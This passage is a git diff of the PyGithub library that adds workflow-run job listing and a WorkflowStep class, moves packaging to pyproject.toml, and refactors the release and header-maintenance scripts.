github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._pull_requests = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._jobs_url = github.GithubObject.NotSet - self._logs_url = github.GithubObject.NotSet - self._check_suite_url = github.GithubObject.NotSet - self._artifacts_url = github.GithubObject.NotSet - self._cancel_url = github.GithubObject.NotSet - self._rerun_url = github.GithubObject.NotSet - self._workflow_url = github.GithubObject.NotSet - self._head_commit = github.GithubObject.NotSet - self._repository = github.GithubObject.NotSet - self._head_repository = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def jobs(self, _filter: Opt[str] = NotSet) -> PaginatedList[WorkflowJob]: + """ + :calls "`GET /repos/{owner}/{repo}/actions/runs/{run_id}/jobs `_ + :param _filter: string `latest`, or `all` + """ + assert is_optional(_filter, str), _filter + + url_parameters = NotSet.remove_unset_items({"filter": _filter}) + + return PaginatedList( + github.WorkflowJob.WorkflowJob, + self._requester, + self.jobs_url, + url_parameters, + list_item="jobs", + ) + + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) + if "name" in attributes: # pragma no branch + self._name = self._makeStringAttribute(attributes["name"]) if "head_branch" in attributes: # pragma no branch self._head_branch = self._makeStringAttribute(attributes["head_branch"]) if "head_sha" in attributes: # pragma no branch self._head_sha = self._makeStringAttribute(attributes["head_sha"]) + if "display_title" in attributes: # pragma no branch + self._display_title = self._makeStringAttribute(attributes["display_title"]) + if "path" in attributes: # pragma no branch + self._path = self._makeStringAttribute(attributes["path"]) if "run_attempt" in attributes: # pragma no branch self._run_attempt = self._makeIntAttribute(attributes["run_attempt"]) if "run_number" in attributes: # pragma no branch @@ -334,12 +310,10 @@ def _useAttributes(self, attributes): if "event" in attributes: # pragma no branch self._event = self._makeStringAttribute(attributes["event"]) if "run_started_at" in attributes: # pragma no branch - assert attributes["run_started_at"] is None or isinstance( - attributes["run_started_at"], str - ), attributes["run_started_at"] - self._run_started_at = self._makeDatetimeAttribute( - attributes["run_started_at"] - ) + assert attributes["run_started_at"] is None or isinstance(attributes["run_started_at"], str), attributes[ + "run_started_at" + ] + self._run_started_at = self._makeDatetimeAttribute(attributes["run_started_at"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) if "conclusion" in attributes: # pragma no branch @@ -363,9 +337,7 @@ def _useAttributes(self, attributes): if "logs_url" in attributes: # pragma no branch self._logs_url = self._makeStringAttribute(attributes["logs_url"]) if "check_suite_url" in attributes: # pragma no branch - self._check_suite_url = self._makeStringAttribute( - attributes["check_suite_url"] - ) + self._check_suite_url = self._makeStringAttribute(attributes["check_suite_url"]) if "artifacts_url" in attributes: # pragma no branch self._artifacts_url = self._makeStringAttribute(attributes["artifacts_url"]) if "cancel_url" in attributes: # pragma no branch @@ -375,13 +347,9 @@ def _useAttributes(self, attributes): if "workflow_url" in attributes: # pragma no branch self._workflow_url = self._makeStringAttribute(attributes["workflow_url"]) if "head_commit" in attributes: # pragma no branch - self._head_commit = self._makeClassAttribute( - github.GitCommit.GitCommit, attributes["head_commit"] - ) + self._head_commit = self._makeClassAttribute(github.GitCommit.GitCommit, attributes["head_commit"]) if "repository" in attributes: # pragma no branch - self._repository = self._makeClassAttribute( - github.Repository.Repository, attributes["repository"] - ) + self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "head_repository" in attributes: # pragma no branch self._head_repository = self._makeClassAttribute( github.Repository.Repository, attributes["head_repository"] diff --git a/github/WorkflowRun.pyi b/github/WorkflowRun.pyi deleted file mode 100644 index b4579c6836..0000000000 --- a/github/WorkflowRun.pyi +++ /dev/null @@ -1,68 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, NamedTuple, List - -import github.PaginatedList -from github.GitCommit import GitCommit -from github.GithubObject import CompletableGithubObject -from github.Job import Job -from github.PullRequest import PullRequest -from github.Repository import Repository - -class TimingData(NamedTuple): - billable: Dict[str, Dict[str, int]] - run_duration_ms: int - -class WorkflowRun(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def id(self) -> int: ... - @property - def head_branch(self) -> str: ... - @property - def head_sha(self) -> str: ... - @property - def run_number(self) -> int: ... - @property - def event(self) -> str: ... - @property - def status(self) -> str: ... - @property - def conclusion(self) -> str: ... - @property - def workflow_id(self) -> int: ... - @property - def url(self) -> str: ... - @property - def html_url(self) -> str: ... - @property - def pull_requests(self) -> List[PullRequest]: ... - @property - def created_at(self) -> datetime: ... - @property - def updated_at(self) -> datetime: ... - @property - def jobs_url(self) -> str: ... - @property - def logs_url(self) -> str: ... - @property - def check_suite_url(self) -> str: ... - @property - def artifacts_url(self) -> str: ... - @property - def cancel_url(self) -> str: ... - @property - def rerun_url(self) -> str: ... - @property - def workflow_url(self) -> str: ... - @property - def head_commit(self) -> GitCommit: ... - @property - def repository(self) -> Repository: ... - @property - def head_repository(self) -> Repository: ... - def get_jobs(self) -> github.PaginatedList.PaginatedList[Job]: ... - def cancel(self) -> bool: ... - def rerun(self) -> bool: ... - def timing(self) -> TimingData: ... diff --git a/github/WorkflowStep.py b/github/WorkflowStep.py new file mode 100644 index 0000000000..24b1a83e4b --- /dev/null +++ b/github/WorkflowStep.py @@ -0,0 +1,103 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Victor Zeng # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jeppe Fihl-Pearson # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from datetime import datetime +from typing import Any, Dict + +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + + +class WorkflowStep(CompletableGithubObject): + """ + This class represents steps in a Workflow Job. The reference can be found here https://docs.github.com/en/rest/reference/actions#workflow-jobs + """ + + def _initAttributes(self) -> None: + self._completed_at: Attribute[datetime] = NotSet + self._conclusion: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + self._number: Attribute[int] = NotSet + self._started_at: Attribute[datetime] = NotSet + self._status: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"number": self._number.value, "name": self._name.value}) + + @property + def completed_at(self) -> datetime: + self._completeIfNotSet(self._completed_at) + return self._completed_at.value + + @property + def conclusion(self) -> str: + self._completeIfNotSet(self._conclusion) + return self._conclusion.value + + @property + def name(self) -> str: + self._completeIfNotSet(self._name) + return self._name.value + + @property + def number(self) -> int: + self._completeIfNotSet(self._number) + return self._number.value + + @property + def started_at(self) -> datetime: + self._completeIfNotSet(self._started_at) + return self._started_at.value + + @property + def status(self) -> str: + self._completeIfNotSet(self._status) + return self._status.value + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "completed_at" in attributes: # pragma no branch + self._completed_at = self._makeDatetimeAttribute(attributes["completed_at"]) + if "conclusion" in attributes: # pragma no branch + self._conclusion = self._makeStringAttribute(attributes["conclusion"]) + if "name" in attributes: # pragma no branch + self._name = self._makeStringAttribute(attributes["name"]) + if "number" in attributes: # pragma no branch + self._number = self._makeIntAttribute(attributes["number"]) + if "started_at" in attributes: # pragma no branch + self._started_at = self._makeDatetimeAttribute(attributes["started_at"]) + if "status" in attributes: # pragma no branch + self._status = self._makeStringAttribute(attributes["status"]) diff --git a/github/__init__.py b/github/__init__.py index 0e3227de7e..c03d0de7c3 100644 --- a/github/__init__.py +++ b/github/__init__.py @@ -7,7 +7,18 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 sharkykh # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Alice GIRARD # +# Copyright 2020 Emily # +# Copyright 2020 Liuyang Wan # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Denis Blanchette # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -34,30 +45,11 @@ All classes inherit from :class:`github.GithubObject.GithubObject`. """ -__all__ = [ - "AppAuthentication", - "BadAttributeException", - "BadCredentialsException", - "BadUserAgentException", - "enable_console_debug_logging", - "Github", - "GithubException", - "GithubIntegration", - "IncompletableObject", - "InputFileContent", - "InputGitAuthor", - "InputGitTreeElement", - "RateLimitExceededException", - "TwoFactorException", - "UnknownObjectException", -] import logging -from github.AppAuthentication import AppAuthentication -from github.GithubIntegration import GithubIntegration -from github.MainClass import Github - +from . import Auth +from .AppAuthentication import AppAuthentication from .GithubException import ( BadAttributeException, BadCredentialsException, @@ -68,16 +60,50 @@ TwoFactorException, UnknownObjectException, ) +from .GithubIntegration import GithubIntegration +from .GithubRetry import GithubRetry from .InputFileContent import InputFileContent from .InputGitAuthor import InputGitAuthor from .InputGitTreeElement import InputGitTreeElement +from .MainClass import Github + +# set log level to INFO for github +logger = logging.getLogger("github") +logger.setLevel(logging.INFO) +logger.addHandler(logging.StreamHandler()) -def enable_console_debug_logging(): # pragma no cover (Function useful only outside test environment) +def set_log_level(level: int) -> None: + """ + Set the log level of the github logger, e.g. set_log_level(logging.WARNING) + :param level: log level + """ + logger.setLevel(level) + + +def enable_console_debug_logging() -> None: # pragma no cover (Function useful only outside test environment) """ This function sets up a very simple logging configuration (log everything on standard output) that is useful for troubleshooting. """ + set_log_level(logging.DEBUG) + - logger = logging.getLogger("github") - logger.setLevel(logging.DEBUG) - logger.addHandler(logging.StreamHandler()) +__all__ = [ + "Auth", + "AppAuthentication", + "BadAttributeException", + "BadCredentialsException", + "BadUserAgentException", + "enable_console_debug_logging", + "Github", + "GithubException", + "GithubIntegration", + "GithubRetry", + "IncompletableObject", + "InputFileContent", + "InputGitAuthor", + "InputGitTreeElement", + "RateLimitExceededException", + "TwoFactorException", + "UnknownObjectException", +] diff --git a/github/__init__.pyi b/github/__init__.pyi deleted file mode 100644 index 3259b3b3b4..0000000000 --- a/github/__init__.pyi +++ /dev/null @@ -1,18 +0,0 @@ -from github.AppAuthentication import AppAuthentication as AppAuthentication -from github.GithubIntegration import GithubIntegration as GithubIntegration -from github.MainClass import Github as Github -from github.GithubIntegration import GithubIntegration as GithubIntegration - -from .GithubException import BadAttributeException as BadAttributeException -from .GithubException import BadCredentialsException as BadCredentialsException -from .GithubException import BadUserAgentException as BadUserAgentException -from .GithubException import GithubException as GithubException -from .GithubException import IncompletableObject as IncompletableObject -from .GithubException import RateLimitExceededException as RateLimitExceededException -from .GithubException import TwoFactorException as TwoFactorException -from .GithubException import UnknownObjectException as UnknownObjectException -from .InputFileContent import InputFileContent as InputFileContent -from .InputGitAuthor import InputGitAuthor as InputGitAuthor -from .InputGitTreeElement import InputGitTreeElement as InputGitTreeElement - -def enable_console_debug_logging() -> None: ... diff --git a/manage.sh b/manage.sh deleted file mode 100755 index 467b5a4f58..0000000000 --- a/manage.sh +++ /dev/null @@ -1,50 +0,0 @@ -#!/bin/bash -# -*- coding: utf-8 -*- - -set -e - -function publish { - bump - readme - push -} - -function check { - flake8 -} - -function fix_headers { - python scripts/fix_headers.py -} - -function bump { - previousVersion=$( grep '^version =' setup.py | sed 's/version = \"\(.*\)\"/\1/' ) - echo "Next version number? (previous: '$previousVersion')" - read version - if [ -z "$version" ]; then - echo "empty version string" - exit 1 - fi - sed -i -b "s/version = .*/version = \"$version\"/" setup.py -} - -function readme { - # creates a changelog based on the commits from the previous version until now - changelog=$(tail -n +6 doc/changes.rst) - gitlog=$(git log v$previousVersion.. --oneline --pretty=format:'* %s (%h)' | grep -v "Merge") - today=$(date "+(%B %d, %Y)") - echo -e "Change log\n==========\n\nStable versions\n~~~~~~~~~~~~~~~\n\nVersion $version $today\n-----------------------------------\n\n$gitlog\n$changelog" > doc/changes.rst -} - -function push { - echo "Break (Ctrl+c) here if something is wrong. Else, press enter" - read foobar - - git commit -am "Publish version $version" - - git tag -m "Version $version" v$version - - git push --tags ${REMOTE:-origin} master -} - -$1 diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000000..2ba68ef9c7 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,94 @@ +[build-system] +build-backend = "setuptools.build_meta" +requires = ["setuptools>=64", "setuptools_scm>=7"] + +[project] +authors = [{ name = "Vincent Jacques", email = "vincent@vincent-jacques.net" }] +classifiers = [ + "Development Status :: 5 - Production/Stable", + "Environment :: Web Environment", + "Intended Audience :: Developers", + "License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)", + "Operating System :: OS Independent", + "Programming Language :: Python", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.7", + "Programming Language :: Python :: 3.8", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", + "Programming Language :: Python :: 3.11", + "Topic :: Software Development", +] +description = "Use the full Github API v3" +keywords = ["github"] +name = "PyGithub" +readme = "README.md" +requires-python = ">=3.7" + +dynamic = ["version"] + +dependencies = [ + "pynacl>=1.4.0", + "requests>=2.14.0", + "pyjwt[crypto]>=2.4.0", + "typing-extensions>=4.0.0", + "urllib3>=1.26.0", + "Deprecated", +] + +[project.urls] +Documentation = "https://pygithub.readthedocs.io/en/stable/" +Source = "https://github.com/pygithub/pygithub" +Tracker = "https://github.com/pygithub/pygithub/issues" + +[project.optional-dependencies] +integrations = [] + +[tool.setuptools_scm] + +[tool.setuptools.package-data] +github = ["py.typed", '*.pyi'] + +[tool.mypy] +python_version = '3.8' +ignore_missing_imports = true +namespace_packages = true + +[[tool.mypy.overrides]] +module = ["github.*"] +check_untyped_defs = true +disallow_untyped_defs = true +warn_no_return = false + +[tool.black] +# https://github.com/psf/black +line-length = 120 + +[tool.codespell] +skip = 'tests/*' +quiet-level = 3 +# comma separated list of words; waiting for: +# https://github.com/codespell-project/codespell/issues/2839#issuecomment-1731601603 +# also adding links until they ignored by its: nature +# https://github.com/codespell-project/codespell/issues/2243#issuecomment-1732019960 +ignore-words-list = "bloaded,nto,pullrequest,pullrequests,thi,tim,wan,Wan,chang,chang,manuel" + +[tool.ruff] +line-length = 120 +# Enable Pyflakes `E` and `F` codes by default. +select = [ + "E", + # see: https://pypi.org/project/pycodestyle + "W", + # see: https://pypi.org/project/pyflakes + "F", + # see: isort + "I", +] +ignore = ["E501", "E741"] +ignore-init-module-imports = true +unfixable = ["F401"] + +[tool.pytest.ini_options] +python_files = "tests/*.py" +addopts = "--color=yes" diff --git a/pytest.ini b/pytest.ini deleted file mode 100644 index c9c73edd00..0000000000 --- a/pytest.ini +++ /dev/null @@ -1,2 +0,0 @@ -[pytest] -python_files=tests/*.py diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index 9a8d628f76..0000000000 --- a/requirements.txt +++ /dev/null @@ -1,7 +0,0 @@ -pynacl>=1.4.0 -requests>=2.14.0 -pyjwt[crypto]>=2.4.0 -sphinx<3 -Jinja2<3.1 -sphinx-rtd-theme<1.1 -Deprecated diff --git a/requirements/docs.txt b/requirements/docs.txt new file mode 100644 index 0000000000..f26ce5561d --- /dev/null +++ b/requirements/docs.txt @@ -0,0 +1,3 @@ +sphinx <3 +Jinja2 <3.1 +sphinx-rtd-theme <1.1 diff --git a/requirements/test.txt b/requirements/test.txt new file mode 100644 index 0000000000..de60e12948 --- /dev/null +++ b/requirements/test.txt @@ -0,0 +1,5 @@ +httpretty >=1.0.3 +pytest >=5.3 +pytest-cov >=2.8 +pytest-github-actions-annotate-failures <1.0.0 +pytest-subtests >=0.11.0 diff --git a/requirements/types.txt b/requirements/types.txt new file mode 100644 index 0000000000..82350d5956 --- /dev/null +++ b/requirements/types.txt @@ -0,0 +1,4 @@ +mypy >=1.0.0 +types-deprecated +types-jwt +types-requests diff --git a/scripts/add_attribute.py b/scripts/add_attribute.py index 38d01f0261..5cac5734b9 100644 --- a/scripts/add_attribute.py +++ b/scripts/add_attribute.py @@ -1,13 +1,23 @@ #!/usr/bin/env python - ############################ Copyrights and license ############################ # # # Copyright 2013 Vincent Jacques # # Copyright 2014 Thialfihar # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # +# Copyright 2018 Yossarian King # # Copyright 2018 sfdye # -# Copyright 2018 bbi-yggy # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Isac Souza # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Wan Liuyang # +# Copyright 2021 karsten-wagner <39054096+karsten-wagner@users.noreply.github.com># +# Copyright 2022 Gabriele Oliaro # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,6 +37,8 @@ # # ################################################################################ +from __future__ import annotations + import os.path import sys @@ -36,151 +48,168 @@ else: attributeClassType = "" - types = { "string": ( - "string", + "str", None, 'self._makeStringAttribute(attributes["' + attributeName + '"])', + "str", ), "int": ( - "integer", + "int", None, 'self._makeIntAttribute(attributes["' + attributeName + '"])', + "int", ), "bool": ( "bool", None, 'self._makeBoolAttribute(attributes["' + attributeName + '"])', + "bool", ), "datetime": ( - "datetime.datetime", + "datetime", "str", 'self._makeDatetimeAttribute(attributes["' + attributeName + '"])', + "datetime", ), "class": ( ":class:`" + attributeClassType + "`", None, - "self._makeClassAttribute(" - + attributeClassType - + ', attributes["' - + attributeName - + '"])', + "self._makeClassAttribute(" + attributeClassType + ', attributes["' + attributeName + '"])', + attributeClassType, ), } -attributeDocType, attributeAssertType, attributeValue = types[attributeType] - +attributeDocType, attributeAssertType, attributeValue, attributeClassType = types[attributeType] +if attributeType == "class": + # Wrap in quotes to avoid an explicit import requirement which can cause circular import errors + attributeClassType = f"'{attributeClassType}'" fileName = os.path.join("github", className + ".py") -with open(fileName) as f: - lines = list(f) - -newLines = [] - -i = 0 - -added = False - -isCompletable = True -isProperty = False -while not added: - line = lines[i].rstrip() - i += 1 - if line.startswith("class "): - if "NonCompletableGithubObject" in line: - isCompletable = False - elif line == " @property": - isProperty = True - elif line.startswith(" def "): - attrName = line[8:-7] - # Properties will be inserted after __repr__, but before any other function. - if attrName != "__repr__" and ( - attrName == "_identity" or attrName > attributeName or not isProperty - ): - if not isProperty: - newLines.append(" @property") - newLines.append(" def " + attributeName + "(self):") - newLines.append(' """') - newLines.append(" :type: " + attributeDocType) - newLines.append(' """') - if isCompletable: - newLines.append( - " self._completeIfNotSet(self._" + attributeName + ")" - ) - newLines.append(" return self._" + attributeName + ".value") - newLines.append("") - if isProperty: - newLines.append(" @property") - added = True - isProperty = False - newLines.append(line) - -added = False - -inInit = line.endswith("def _initAttributes(self):") -while not added: - line = lines[i].rstrip() - i += 1 - if line == " def _initAttributes(self):": - inInit = True - if inInit: - if not line or line.endswith(" = github.GithubObject.NotSet"): - if line: - attrName = line[14:-29] - if not line or attrName > attributeName: - newLines.append( - " self._" + attributeName + " = github.GithubObject.NotSet" - ) - added = True - newLines.append(line) -added = False +def add_as_class_property(lines: list[str]) -> list[str]: + newLines = [] + i = 0 -inUse = False -while not added: - try: + added = False + + isCompletable = True + isProperty = False + while not added: line = lines[i].rstrip() - except IndexError: - line = "" - i += 1 - if line == " def _useAttributes(self, attributes):": - inUse = True - if inUse: - if not line or line.endswith(" in attributes: # pragma no branch"): - if line: - attrName = line[12:-36] - if not line or attrName > attributeName: - newLines.append( - ' if "' - + attributeName - + '" in attributes: # pragma no branch' - ) - if attributeAssertType: - newLines.append( - ' assert attributes["' - + attributeName - + '"] is None or isinstance(attributes["' - + attributeName - + '"], ' - + attributeAssertType - + '), attributes["' - + attributeName - + '"]' - ) - newLines.append( - " self._" + attributeName + " = " + attributeValue - ) + i += 1 + if line.startswith("class "): + if "NonCompletableGithubObject" in line: + isCompletable = False + elif line == " @property": + isProperty = True + elif line.startswith(" def "): + attrName = line[8:-7] + # Properties will be inserted after __repr__, but before any other function. + if (not attrName.startswith("__repr__") and not attrName.startswith("_initAttributes")) and ( + attrName == "_identity" or attrName > attributeName or not isProperty + ): + if not isProperty: + newLines.append(" @property") + newLines.append(" def " + attributeName + "(self) -> " + attributeClassType + ":") + if isCompletable: + newLines.append(" self._completeIfNotSet(self._" + attributeName + ")") + newLines.append(" return self._" + attributeName + ".value") + newLines.append("") + if isProperty: + newLines.append(" @property") added = True - newLines.append(line) + isProperty = False + newLines.append(line) + + while i < len(lines): + line = lines[i].rstrip() + i += 1 + newLines.append(line) + return newLines + + +def add_to_initAttributes(lines: list[str]) -> list[str]: + newLines = [] + added = False + + i = 0 + inInit = False + + while not added: + line = lines[i].rstrip() + i += 1 + if line.strip().startswith("def _initAttributes(self)"): + inInit = True + if inInit: + if not line or line.endswith(" = github.GithubObject.NotSet") or line.endswith(" = NotSet"): + if line: + attrName = line[14:-29] + if not line or attrName > attributeName: + newLines.append(f" self._{attributeName}: Attribute[{attributeClassType}] = NotSet") + added = True + newLines.append(line) + + while i < len(lines): + line = lines[i].rstrip() + i += 1 + newLines.append(line) + + return newLines + + +def add_to_useAttributes(lines: list[str]) -> list[str]: + i = 0 + newLines = [] + added = False + inUse = False + while not added: + try: + line = lines[i].rstrip() + except IndexError: + line = "" + i += 1 + if line.strip().startswith("def _useAttributes(self, attributes:"): + inUse = True + if inUse: + if not line or line.endswith(" in attributes: # pragma no branch"): + if line: + attrName = line[12:-36] + if not line or attrName > attributeName: + newLines.append(' if "' + attributeName + '" in attributes: # pragma no branch') + if attributeAssertType: + newLines.append( + ' assert attributes["' + + attributeName + + '"] is None or isinstance(attributes["' + + attributeName + + '"], ' + + attributeAssertType + + '), attributes["' + + attributeName + + '"]' + ) + newLines.append(f" self._{attributeName} = {attributeValue}") + added = True + newLines.append(line) + + while i < len(lines): + line = lines[i].rstrip() + i += 1 + newLines.append(line) + + return newLines + + +with open(fileName) as f: + source = f.readlines() -while i < len(lines): - line = lines[i].rstrip() - i += 1 - newLines.append(line) +source = add_as_class_property(source) +source = add_to_initAttributes(source) +source = add_to_useAttributes(source) -with open(fileName, "w") as f: - for line in newLines: - f.write(line + "\n") +with open(fileName, "w", newline="\n") as f: + f.write("\n".join(source) + "\n") diff --git a/scripts/fix_headers.py b/scripts/fix_headers.py index f7c0fccd1f..6c283f4e04 100755 --- a/scripts/fix_headers.py +++ b/scripts/fix_headers.py @@ -1,11 +1,17 @@ #!/usr/bin/env python - ############################ Copyrights and license ############################ # # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Wan Liuyang # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -60,9 +66,11 @@ def generateLicenseSection(filename): def listContributors(filename): contributors = set() - for line in subprocess.check_output( - ["git", "log", "--format=format:%ad %an <%ae>", "--date=short", "--", filename] - ).split("\n"): + result = subprocess.check_output( + ["git", "log", "--follow", "--format=format:%ad %an <%ae>", "--date=short", "--", filename], + text=True, + ) + for line in result.split("\n"): year = line[0:4] name = line[11:] contributors.add((year, name)) @@ -91,13 +99,11 @@ def extractBodyLines(lines): class PythonHeader: def fix(self, filename, lines): - isExecutable = lines[0].startswith("#!") + isExecutable = len(lines) > 0 and lines[0].startswith("#!") newLines = [] if isExecutable: newLines.append("#!/usr/bin/env python") - newLines.append("# -*- coding: utf-8 -*-") - newLines.append("") for line in generateLicenseSection(filename): newLines.append(line) @@ -106,11 +112,7 @@ def fix(self, filename, lines): if len(bodyLines) > 0 and bodyLines[0] != "": newLines.append("") - if ( - "import " not in bodyLines[0] - and bodyLines[0] != '"""' - and not bodyLines[0].startswith("##########") - ): + if "import " not in bodyLines[0] and bodyLines[0] != '"""' and not bodyLines[0].startswith("##########"): newLines.append("") newLines += bodyLines @@ -126,7 +128,7 @@ def fix(self, filename, lines): bodyLines = extractBodyLines(lines) - if len(bodyLines) and bodyLines[0] != "" > 0: + if len(bodyLines) > 0 and bodyLines[0] != "": newLines.append("") newLines += bodyLines @@ -135,18 +137,20 @@ def fix(self, filename, lines): def findHeadersAndFiles(): for root, dirs, files in os.walk(".", topdown=True): - if ".git" in dirs: - dirs.remove(".git") - if "developer.github.com" in dirs: - dirs.remove("developer.github.com") - if "build" in dirs: - dirs.remove("build") + for dir in list(dirs): + if dir.startswith("."): + dirs.remove(dir) + for excluded in ["developer.github.com", "build", "venv", "PyGithub.egg-info", "requirements"]: + if excluded in dirs: + dirs.remove(excluded) for filename in files: fullname = os.path.join(root, filename) - if filename.endswith(".py"): + if filename == "GithubCredentials.py": + pass + elif filename.endswith(".py"): yield (PythonHeader(), fullname) - elif filename in ["COPYING", "COPYING.LESSER"]: + elif filename in ["COPYING", "COPYING.LESSER", "MAINTAINERS"]: pass elif filename.endswith(".rst") or filename.endswith(".md"): pass @@ -154,21 +158,23 @@ def findHeadersAndFiles(): yield (StandardHeader(), fullname) elif "ReplayData" in fullname: pass + elif fullname.endswith(".pyi"): + pass elif fullname.endswith(".pyc"): pass else: - print("Don't know what to do with", filename) + print(f"Don't know what to do with {filename} in {root}") def main(): for header, filename in findHeadersAndFiles(): print("Analyzing", filename) - with open(filename) as f: + with open(filename, encoding="utf-8") as f: lines = list(line.rstrip() for line in f) newLines = header.fix(filename, lines) if newLines != lines: print(" => actually modifying", filename) - with open(filename, "w") as f: + with open(filename, "w", encoding="utf-8") as f: for line in newLines: f.write(line + "\n") diff --git a/scripts/prepare_release.sh b/scripts/prepare_release.sh new file mode 100755 index 0000000000..51bb33dc78 --- /dev/null +++ b/scripts/prepare_release.sh @@ -0,0 +1,13 @@ +#!/bin/bash + +set -eo pipefail + +# update file headers +python scripts/fix_headers.py + +# creates a changelog based on the commits from the previous version until now +previousVersion=$(git tag -l --merged main | tail -n1) +changelog=$(tail -n +6 doc/changes.rst) +gitlog=$(git log $previousVersion.. --oneline --pretty=format:'* %s (%h)') +today=$(date "+(%B %d, %Y)") +echo -e "Change log\n==========\n\nStable versions\n~~~~~~~~~~~~~~~\n\nVersion ?.?.? $today\n-----------------------------------\n\n$gitlog\n$changelog" > doc/changes.rst diff --git a/setup.py b/setup.py deleted file mode 100755 index 9fde83f65a..0000000000 --- a/setup.py +++ /dev/null @@ -1,114 +0,0 @@ -#!/usr/bin/env python - -############################ Copyrights and license ############################ -# # -# Copyright 2012 Vincent Jacques # -# Copyright 2012 Zearin # -# Copyright 2013 Vincent Jacques # -# Copyright 2014 Tomas Radej # -# Copyright 2014 Vincent Jacques # -# Copyright 2015 Jimmy Zelinskie # -# Copyright 2016 Felix Yan # -# Copyright 2016 Jakub Wilk # -# Copyright 2016 Jannis Gebauer # -# Copyright 2016 Peter Buckley # -# Copyright 2017 Hugo # -# Copyright 2017 Jannis Gebauer # -# Copyright 2017 Jannis Gebauer # -# Copyright 2017 Nhomar Hernandez # -# Copyright 2017 Paul Ortman # -# Copyright 2018 Jason White # -# Copyright 2018 Mike Miller # -# Copyright 2018 Wan Liuyang # -# Copyright 2018 sfdye # -# # -# This file is part of PyGithub. # -# http://pygithub.readthedocs.io/ # -# # -# PyGithub is free software: you can redistribute it and/or modify it under # -# the terms of the GNU Lesser General Public License as published by the Free # -# Software Foundation, either version 3 of the License, or (at your option) # -# any later version. # -# # -# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # -# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # -# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # -# details. # -# # -# You should have received a copy of the GNU Lesser General Public License # -# along with PyGithub. If not, see . # -# # -################################################################################ - -import textwrap - -import setuptools - -if __name__ == "__main__": - setuptools.setup( - name="PyGithub", - use_scm_version=True, - setup_requires=["setuptools_scm"], - description="Use the full Github API v3", - author="Vincent Jacques", - author_email="vincent@vincent-jacques.net", - url="https://github.com/pygithub/pygithub", - project_urls={ - "Documentation": "http://pygithub.readthedocs.io/en/latest/", - "Source": "https://github.com/pygithub/pygithub", - "Tracker": "https://github.com/pygithub/pygithub/issues", - }, - long_description=textwrap.dedent( - """\ - (Very short) Tutorial - ===================== - - First create a Github instance:: - - from github import Github - - # using username and password - g = Github("user", "password") - - # or using an access token - g = Github("access_token") - - Then play with your Github objects:: - - for repo in g.get_user().get_repos(): - print(repo.name) - repo.edit(has_wiki=False) - - Reference documentation - ======================= - - See 